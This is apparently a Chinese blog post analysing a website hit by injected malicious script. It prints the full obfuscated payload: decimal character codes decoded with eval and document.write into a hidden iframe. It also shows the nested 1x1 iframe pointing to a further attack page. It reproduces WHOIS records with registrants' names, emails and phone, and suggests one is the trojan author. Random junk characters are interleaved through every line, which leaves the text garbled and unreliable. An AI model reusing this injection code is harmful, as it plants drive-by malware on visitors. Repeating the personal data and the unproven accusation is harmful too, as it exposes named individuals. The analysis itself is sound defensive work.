首发在我的博客里面，
~a3u[' B 5tkKd4VfL http://www.areway.cn/?p=175 6~ y' vOCaru?~h .H M3s 周末上线鸭子就Q我说他的站给挂了马，当时没太注意就直接打开了连接，截下了网页源码：
Ce OA_M rxMo7px@}I <script>t=’60,105,102,114,97,109,101,
RAhDSDf 32,115,114,99,61,104,116,116,112,58,47,47,
\hI?XnL# 102,114,101,101,46,117,45,117,117,117,46,99,
oI`Mn3N 110,47,101,114,114,111,114,46,104,116,109,
44~ReN}` 32,119,105,100,116,104,61,49,48,48,32,104,
D9P,[:" 101,105,103,104,116,61,48,62,60,47,105,102,
`{K-eHlrM9 114,97,109,101,62′;
0e#PN@ t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script>
L.;x=w iJ *Wsp <script>t=’60,105,102,114,97,109,101,32,115,
k0\a7$}F 114,99,61,104,116,116,112,58,47,47,102,114,
NWiDNK[VE} 101,101,46,117,45,117,117,117,46,99,110,47,
60%fva 101,114,114,111,114,46,104,116,109,32,119,
7;'UC',' 105,100,116,104,61,49,48,48,32,104,101,105,
^Lfwoy7R 103,104,116,61,48,62,60,47,105,102,114,97,
,MJddbcg 109,101,62′;t=eval(’String.fromCharCode(’+t+’)');
KLG .?`h: document.write(t);</script>
la)+"uW |zfFB7}v <html xmlns=”
$ 1d{R;b[ http://www.w3.org/1999/xhtml FdnLxw “>
cy
mC?8< <head>
gzVZPvTPE <!– Published By Newasp.cc 2007-12-7-18:03:23 –>
&Q"vXs6Gt <meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ />
Br s} <title>首页 - 爱生活家庭网
>m%TUQ#% S{2;Pa K 上面有一段 script的十进制加密字段，里面的大概内容是，把所有的字符放在函数t里面，最后用doucment.write(t)来把字符串写在网页里面。
yr>J^Et%_ 转换字符串后的大概内容是（谁点击后果自付）：
xo @|;Z>&F <script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=………
/{8Y,pZbu U,yZ.1V^: 查询玉米u-uuu.cn的详细信息：
6?US<<MQ Domain Name: u-uuu.cn
qgEzK ROID: 20070901s10001s64972306-cn
cC$YD]XdIA Domain Status: ok
[ -Y~g%M Registrant Organization: 王雷
GFb n>dY Registrant Name: 王雷
#2Q%sE? Administrative Email:
czlovexs@126.com $$4flfx Sponsoring Registrar: 北京万网志成科技有限公司
ZT/f Name Server:ns.yovole.com
buzpmRoN) Name Server:ns1.yovole.com
j +AZ! $E Registration Date: 2007-09-01 17:54
W6EEC<$JL Expiration Date: 2008-09-01 17:54
twldwuN 最后PING了一下地址 都没有什么….
!}U3 {L- x7l }u`N4 上虚拟机里面继续分析，IE里面打开上面的连接…查看源代码…..直接又有嵌套.
Dqwd=$2% <iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe>
'#j6ZC/? <script language=”javascript” src=”
KdHkX+-R http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script }>y~P~`S: >
!(Y|Vm' 这个玉米应该有可能是木马作者的：
:u=y7 [I foafau.info的详细信息：
(kK8
Ox fF Access to INFO WHOIS information is provided to assist persons in
* Z .{1 determining the contents of a domain name registration record in the
f]Aa$\@b Afilias registry database. The data in this record is provided by
j;j~R3B Afilias Limited for informational purposes only, and Afilias does not
fWfhs}_
guarantee its accuracy. This service is intended only for query-based
t,XbF access. You agree that you will use this data only for lawful purposes
zTG1 0 and that, under no circumstances will you use this data to: (a) allow,
+YCWoX 2 enable, or otherwise support the transmission by e-mail, telephone, or
[.$%ti*! facsimile of mass unsolicited, commercial advertising or solicitations
{#z47Rz to entities other than the data recipient’s own existing customers; or
u|ihUE!h (b) enable high volume, automated, electronic processes that send
32J/ queries or data to the systems of Registry Operator, a Registrar, or
<daH0l0 Afilias except as reasonably necessary to register domain names or
?_ uan modify existing registrations. All rights reserved. Afilias reserves
@c8RlW/A the right to modify these terms at any time. By submitting this query,
AoxORPp' you agree to abide by this policy.
4TU\SP8sM Domain ID:D22418703-LRMS
?_S); Domain Name:FOAFAU.INFO
&];W#9"Z Created On:20-Nov-2007 16:05:42 UTC
n.5M6i/~a Last Updated On:20-Nov-2007 16:05:44 UTC
HH(2 Expiration Date:20-Nov-2008 16:05:42 UTC
&V &beq4)p Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS)
7{S;~VH3 Status:CLIENT DELETE PROHIBITED
'S
v
V10$5 Status:CLIENT RENEW PROHIBITED
,e`n2) Status:CLIENT TRANSFER PROHIBITED
X&49C:jN Status:CLIENT UPDATE PROHIBITED
@ {<^rLt Status:TRANSFER PROHIBITED
5 8U[IGs( Registrant ID:GODA-040110615
PDgZ b Registrant Name:liu hong
O6-';H:I]L Registrant Organization:
\:n<&<aVSr Registrant Street1:beijing
ZS_
z Registrant Street2:
T|YMU?4 Registrant Street3:
Z>1yLt@ls Registrant City:beijing
[["eK9 }0 Registrant State/Province:
B=_5gZ4Y Registrant Postal Code:100000
M6]:^;p' Registrant Country:CN
\Z~@/OVc Registrant Phone:+86.860108888777
P a|*Jcr Registrant Phone Ext.:
Uul 5h8F Registrant FAX:
6_9@s*=d> Registrant FAX Ext.:
m 9 D*I1 Registrant Email:bbbshiji@163.com
ky]L`w Admin ID:GODA-240110615
]wbV1Y" Admin Name:liu hong
3<a|_(K Admin Organization:
fx^yC.$2 Admin Street1:beijing
l0',B*og Admin Street2:
\Y:zg3q* Admin Street3:
] TZ/=I d Admin City:beijing
(h@~0 S Admin State/Province:
* a(GG Admin Postal Code:100000
G [yI[7=d Admin Country:CN
[* ug:PG Admin Phone:+86.860108888777
~ me/ve Admin Phone Ext.:
r0'a-Mk; Admin FAX:
yz NDXA. Admin FAX Ext.:
mG *Y v Admin Email:bbbshiji@163.com
!*"#*)S. Billing ID:GODA-340110615
O+Db#FW Billing Name:liu hong
cSTL.QF Billing Organization:
Qq.Ja%Zq Billing Street1:beijing
F A%BzU5^ Billing Street2:
CA/Lv{[2 Billing Street3:
+- hfl/$ Billing City:beijing
J? &%fI Billing State/Province:
6LT.ng Billing Postal Code:100000
bSTTr<W Billing Country:CN
z=rSb4"W Billing Phone:+86.860108888777
>dD c m Billing Phone Ext.:
m LHl]xs4 Billing FAX:
Ci3
b(KR Billing FAX Ext.:
7 $L*nf Billing Email:bbbshiji@163.com
E|VTbE YG Tech ID:GODA-140110615
ICWH Eot Tech Name:liu hong
V-dub{K Tech Organization:
Djp;\.$( Tech Street1:beijing
W>u$x=<T Tech Street2:
Fcn@j#[J Tech Street3:
&D7Mv5i0@ Tech City:beijing
}?U
#@ h Tech State/Province:
u$"Ew^C Tech Postal Code:100000
@[ '?AsO Tech Country:CN
.z,`{-7U Tech Phone:+86.860108888777
G$lE0_j2{ Tech Phone Ext.:
W=K+kB Tech FAX:
sg<c 1 Tech FAX Ext.:
a7z% )i;Z Tech Email:bbbshiji@163.com
S)^eHuXPI Name Server:NS27.DOMAINCONTROL.COM
jyR z53 Name Server:NS28.DOMAINCONTROL.COM
O3p<7`K<4 Name Server:
-}>H3hr Name Server:
> mP( [] Name Server:
y(**F8>?xE Name Server:
xUB{{ 8B:L Name Server:
bg*@N Name Server:
SXV
f&8 Name Server:
Gfle"_4m8 Name Server:
!@)tkhP Name Server:
drB$q [Ak9 Name Server:
X'7MW?
q@ Name Server:
Q6PMRG}/o 3+vMi[YO 接着下载每个文件里面的代码：
55Ye7P-d 一步一步看..
-wnBdL 
PW* [( VX 
qD}O_<_1ym 
P[P]oT.N
-D_xA10 
|f[:mO 都是十进制的代码，也懒得再分析了，有这个爱好的大家可以继续试试
